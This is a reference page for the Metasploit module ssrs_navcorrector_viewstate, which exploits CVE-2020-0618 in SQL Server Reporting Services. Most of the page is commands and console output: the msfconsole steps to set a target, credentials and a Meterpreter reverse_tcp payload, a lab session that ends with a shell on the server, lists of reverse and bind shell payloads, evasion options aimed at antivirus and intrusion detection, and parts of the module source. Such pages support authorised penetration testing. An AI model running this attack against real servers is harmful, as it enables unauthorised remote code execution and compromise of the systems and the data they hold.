SQL Server Reporting Services (SSRS) ViewState Deserialization - Metasploit
This page contains detailed information about how to use the exploit/windows/http/ssrs_navcorrector_viewstate metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: SQL Server Reporting Services (SSRS) ViewState Deserialization
Module: exploit/windows/http/ssrs_navcorrector_viewstate
Source code: modules/exploits/windows/http/ssrs_navcorrector_viewstate.rb
Disclosure date: 2020-02-11
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-0618
A vulnerability exists within Microsoft's SQL Server Reporting Services which can allow an attacker to craft an HTTP POST request with a serialized object to achieve remote code execution. The vulnerability is due to the fact that the serialized blob is not signed by the server.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use exploit/windows/http/ssrs_navcorrector_viewstate
msf exploit(ssrs_navcorrector_viewstate) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
PASSWORD: The password to authenticate with
Knowledge Base
Vulnerable Application
This module exploits a .NET serialization vulnerability in the SQL Server Reporting Services web application. The vulnerability exists within the a class that will load serialized data submitted in a POST request. When processed this data can lead to code execution within the context of the application which by default is a service account.
An account is necessary in order to leverage this vulnerability. The request is
submitted using NTLM basic authentication. This account must be assigned at
least the "Browser" role on the site. This is the lowest privilege available and
simply allows the user to view folders, reports and subscribe to reports. To
authenticate as a domain user, set the DOMAIN option.
Service Installation And Setup
Setting up a vulnerable environment for testing is best done by using a SQL Server 2016 installation ISO which includes an offline installer for SSRS. Later versions of SQL Server installation ISOs link to an online installer which will install the patched version automatically.
When installing SQL Server 2016:
- Select "New SQL Server stand-alone installation or add features to an existing installation"
- Later in the "Feature Selection" section, select "Reporting Services - Native" under the "Instance Features" group
- Proceed with the remainder of the installation per usual
After the server has been installed, it must be configured using the "Reporting Services Configuration Manager" application. Ensure a database is selected and created, that both the Web Services URL and Web Portal URLs are activated. Finally, from the web interface, add accounts and privileges as desired. Individual accounts can have privileges added by selecting "Manage Folder" and adding them from this dashboard. Do not use privileges dashboard available from "Site Settings" to add the necessary privileges.
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/windows/http/ssrs_navcorrector_viewstate - Set the
RHOSTS,USERNAMEandPASSWORDoptions - Do:
run - You should get a shell.
Scenarios
SSRS 2016 on Server 2012 x64
msf5 > use exploit/windows/http/ssrs_navcorrector_viewstate
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set RHOSTS 192.168.159.141
RHOSTS => 192.168.159.141
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set USERNAME jdoe
USERNAME => jdoe
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set DOMAIN msflab.local
DOMAIN => msflab.local
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set PASSWORD Password1
PASSWORD => Password1
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > check
[*] 192.168.159.141:80 - The service is running, but could not be validated.
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Command Stager progress - 24.99% done (2999/12002 bytes)
[*] Command Stager progress - 49.98% done (5998/12002 bytes)
[*] Command Stager progress - 74.96% done (8997/12002 bytes)
[*] Sending stage (206403 bytes) to 192.168.159.141
[*] Meterpreter session 3 opened (192.168.159.128:4444 -> 192.168.159.141:50376) at 2020-03-06 16:19:24 -0500
[*] Command Stager progress - 99.83% done (11982/12002 bytes)
[*] Command Stager progress - 100.00% done (12002/12002 bytes)
meterpreter > getuid
Server username: NT Service\ReportServer
meterpreter > sysinfo
Computer : SERVER2012
OS : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 10
Meterpreter : x64/windows
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the windows/http/ssrs_navcorrector_viewstate exploit module looks in the msfconsole:
msf6 > use exploit/windows/http/ssrs_navcorrector_viewstate
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/ssrs_navcorrector_viewstate) > show info
Name: SQL Server Reporting Services (SSRS) ViewState Deserialization
Module: exploit/windows/http/ssrs_navcorrector_viewstate
Platform: Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-02-11
Provided by:
Soroush Dalili
Spencer McIntyre
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Windows (x86)
1 Windows (x64)
2 Windows (cmd)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
PASSWORD yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /Reports yes The base path to the web application
URIPATH no The URI to use for this exploit (default is random)
USERNAME yes Username to authenticate as
VHOST no HTTP server virtual host
Payload information:
Description:
A vulnerability exists within Microsoft's SQL Server Reporting
Services which can allow an attacker to craft an HTTP POST request
with a serialized object to achieve remote code execution. The
vulnerability is due to the fact that the serialized blob is not
signed by the server.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-0618
https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/
Module Options
This is a complete list of options available in the windows/http/ssrs_navcorrector_viewstate exploit:
msf6 exploit(windows/http/ssrs_navcorrector_viewstate) > show options
Module options (exploit/windows/http/ssrs_navcorrector_viewstate):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
PASSWORD yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /Reports yes The base path to the web application
URIPATH no The URI to use for this exploit (default is random)
USERNAME yes Username to authenticate as
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows (x64)
Advanced Options
Here is a complete list of advanced options supported by the windows/http/ssrs_navcorrector_viewstate exploit:
msf6 exploit(windows/http/ssrs_navcorrector_viewstate) > show advanced
Module advanced options (exploit/windows/http/ssrs_navcorrector_viewstate):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::DELAY 0.5 yes Delay between command executions
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/http/ssrs_navcorrector_viewstate module can exploit:
msf6 exploit(windows/http/ssrs_navcorrector_viewstate) > show targets
Exploit targets:
Id Name
-- ----
0 Windows (x86)
1 Windows (x64)
2 Windows (cmd)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/ssrs_navcorrector_viewstate exploit:
msf6 exploit(windows/http/ssrs_navcorrector_viewstate) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
21 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
22 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
23 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
24 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
25 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
26 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
27 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
28 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
29 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
30 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
31 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
32 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
33 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
34 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
35 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
36 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
37 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
38 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
39 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
40 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
41 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
42 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
43 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
44 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
45 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
46 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
47 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
48 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
49 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
50 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
51 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
52 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
53 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
54 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
55 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
56 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
57 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
58 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
59 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
60 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
61 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
62 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/http/ssrs_navcorrector_viewstate exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/http/ssrs_navcorrector_viewstate) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
SQL Server Reporting Services
Here is a relevant code snippet related to the "SQL Server Reporting Services" error message:
72: end
73: end
74:
75: def check
76: json_response = send_api_request('ReportServerInfo', 'Model.SiteName')
77: return CheckCode::Unknown unless json_response && json_response['value'] == 'SQL Server Reporting Services'
78:
79: CheckCode::Detected
80: end
81:
82: def exploit
Failed to detect the application
Here is a relevant code snippet related to the "Failed to detect the application" error message:
78:
79: CheckCode::Detected
80: end
81:
82: def exploit
83: fail_with(Failure::NotFound, 'Failed to detect the application') unless check == CheckCode::Detected
84:
85: json_response = send_api_request('ReportServerInfo', 'Model.GetVirtualDirectory')
86: fail_with(Failure::UnexpectedReply, 'Failed to detect the report server virtual directory') if json_response.nil?
87: directory = json_response['value']
88: vprint_status("Detected the report server virtual directory as: #{directory}")
Failed to detect the report server virtual directory
Here is a relevant code snippet related to the "Failed to detect the report server virtual directory" error message:
81:
82: def exploit
83: fail_with(Failure::NotFound, 'Failed to detect the application') unless check == CheckCode::Detected
84:
85: json_response = send_api_request('ReportServerInfo', 'Model.GetVirtualDirectory')
86: fail_with(Failure::UnexpectedReply, 'Failed to detect the report server virtual directory') if json_response.nil?
87: directory = json_response['value']
88: vprint_status("Detected the report server virtual directory as: #{directory}")
89:
90: state = { vd: directory }
91: if target['Type'] == :windows_command
Non-200 HTTP response received while trying to execute the command
Here is a relevant code snippet related to the "Non-200 HTTP response received while trying to execute the command" error message:
113: '__VIEWSTATE' => ''
114: },
115: 'username' => datastore['USERNAME'],
116: 'password' => datastore['PASSWORD']
117: })
118:
119: unless res&.code == 200
120: print_error('Non-200 HTTP response received while trying to execute the command')
121: end
122: end
123: end
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Related Pull Requests
- #15192 Merged Pull Request: Enforce Style/RedundantBegin for new modules
- #14734 Merged Pull Request: Rubocop recently landed modules
- #13257 Merged Pull Request: .NET Deserialization Library Improvements
- #13040 Merged Pull Request: Add an exploit for SQL Server Reporting Services ViewState deserialization (CVE-2020-0618)
References
- CVE-2020-0618
- https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/
See Also
Check also the following modules related to this module:
- exploit/windows/http/exchange_ecp_viewstate
- exploit/windows/http/plesk_mylittleadmin_viewstate
- exploit/windows/http/sharepoint_ssi_viewstate
Related Nessus plugins:
- Security Updates for Microsoft SQL Server (Uncredentialed Check) (February 2020)
- Security Updates for Microsoft SQL Server (February 2020)
Authors
- Soroush Dalili
- Spencer McIntyre
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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